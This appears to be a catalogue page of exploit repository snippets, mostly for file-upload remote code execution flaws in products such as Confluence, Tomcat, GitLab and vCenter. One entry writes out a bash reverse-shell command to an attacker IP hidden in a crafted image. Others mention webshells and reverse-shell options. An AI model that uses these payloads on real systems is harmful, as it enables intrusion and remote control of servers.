CVE-2023-22515_RCE

A way to achieve RCE after obtaining backend permissions in Confluence Manual GetShell Steps You can upload custom plugins in the backend to achieve RCE Access plugins/servlet/com.jsos.shell/ShellServlet...

CVE-2021-32708

CVE-2021-32708 Affected versions of this package are vulnerable to Race Condition. The whitespace normalisation using in 1.x and 2.x removes any unicode whitespace. Under certain specific conditions this could potentially allow a malicious user to execute code remotely. How the Exploit Works...

CVE-2022-42092

CVE-2022-42092 Python Exploit 🔥 Description This Python exploit script targets an unrestricted file upload in Backdrop CMS to achieve a Remote Code Execution RCE. ⚠️ Affected Versions Version 1.22.0 and prior version Note: Backdrop CMS disputes this and argues that advanced permissions are...

CVE-2020-29607

CVE-2020-29607-Exploit Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution Authenticated CVE description: A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin privileged user to gain access in the host through the "manage files" functionality,...

beanshooter

beanshooter beanshooter est un outil d'énumération et d'attaque JMX , qui aide à identifier les vulnérabilités courantes sur les points d'accès JMX. https://user-images.githubusercontent.com/49147108/183278179-4a5566a7-5af8-4ce8-a73d-1016876a36d5.mp4 Installation beanshooter est un projet maven e...

CVE-2021-22005-metasploit

CVE-2021-22005-metasploit the metasploit scriptPOC/EXP about CVE-2021-22005 VMware vCenter Server contains an arbitrary file upload vulnerability preparation POC git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p...

CVE-2025-25257-Exploit-Tool

CVE-2025-25257 Exploit Tool Credits Based on watchTowr Labs, 0xbigshaq, and pwner.gg analyses. Warnings For educational purposes only. Use on authorized systems. Modifies database/filesystem. Enhanced Python tool for detecting and exploiting CVE-2025-25257 Pre-Auth SQLi to RCE in Fortinet FortiWe...

CVE-2019-10869

CVE-2019-10869 Wordpress Ninja Forms File Uploads Extension -----------------------------16345274557837-- Response: HTTP/1.1 200 OK Server: nginx/1.14.0 "data": "files": "name":"test.png.doc", "type":"application/msword", "tmpname":"nftmp-14FpD-test.png.doc", "erro...

CVE-2024-50379

CVE-2024-50379 CVE-2024-50379 Exploit CVE-2024-50379.py and upload.txt are in the same directory The upload content is the webshell Here, the upload content generates a 2.jsp file You can use 2.jsp to create a new 4.jsp, the original Behinder webshell...

CVE-2023-4220-RCE

CVE-2023-4220-RCE Summary Starlabs advisory Affected product: Chamilo , -p --port REMOTE PORT -c --comand Flags for reverse shell -lh/--localhost: Attacker IP -lp/--localtcat listener port...

CVE-2024-42640

CVE-2024-42640 angular-bug CVE-2024-42640 Unauthenticated Remote Code Execution via Angular-Base64-Upload Library for more details: blog Introduction angular-base64-upload versions prior to v0.1.21 are vulnerable to unauthenticated remote code execution via the angular-base64-upload/demo/server.p...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Tested Version Generate the exploit command echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Use djvumake to generate the exploit image import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444...

CVE-2021-22006

CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Analyze Usage ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky6861636b Author: r0cky...

wargame-tarpioka

BubbleTea CVE-2007-4559 Directory traversal vulnerability using .tar to ../../flag path BubbleTea/ ├── Dockerfile ├── flag ├── requirements.txt └── src ├── files ├── template │ └── index.html └── app.py Current Building Instructions check docker docker ps docker images docker build -t tarpioka...

PocList

PocList Сборник самостоятельно написанных POC и EXP для уязвимостей. После указания файла с URL скрипты POC могут выполнять многопоточное массовое сканирование целей для проверки; скрипты EXP могут использоваться для эксплуатации уязвимостей, таких как чтение файлов, загрузка троянов, выполнение...

POC-CVE-2025-24813

CVE-2025-24813 Apache Tomcat RCE PoC Proof of Concept PoC exploiting CVE-2025-24813, a Remote Code Execution RCE vulnerability in Apache Tomcat. The vulnerability allows an attacker to upload a malicious serialized payload to the server, leading to arbitrary code execution via deserialization whe...

CVE-2021-43617

CVE-2021-43617 This is a reproduction of PHP Laravel 8.70.1 - Cross Site Scripting XSS to Cross Site Request Forgery CSRF vulnerability Description The vulnerability exploits the fact that we can bypass laravel image file upload functionality to upload arbitary files on the web server which let u...

CVE-2023-41425

CVE-2023-41425 Description A Cross Site Scripting vulnerability in Wonder CMS Version 3.2.0 to Version 3.4.2 allows a remote attacker to execute arbitrary code via a crafted script uploaded to the installModule component. This is a modifed version of the original exploit by prodigiousMind which...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS versions " image.jpg 4 Rename this file to image.php. 5 On the form page, upload the created image.php file. 6 Now, to run this file just access https://yoursite.com/assets/image.php Note: replacehttps://yoursite.com with the address of your test installation...

CVE-2025-52078

🚨 CVE-2025-52078 - Неавторизованная произвольная загрузка файлов - Writebot SaaS React Template Этот репозиторий содержит эксплойт proof-of-concept для уязвимости неавторизованной произвольной загрузки файлов , обнаруженной в Writebot – AI Content Generator SaaS React Template. 🧠 Страница продукт...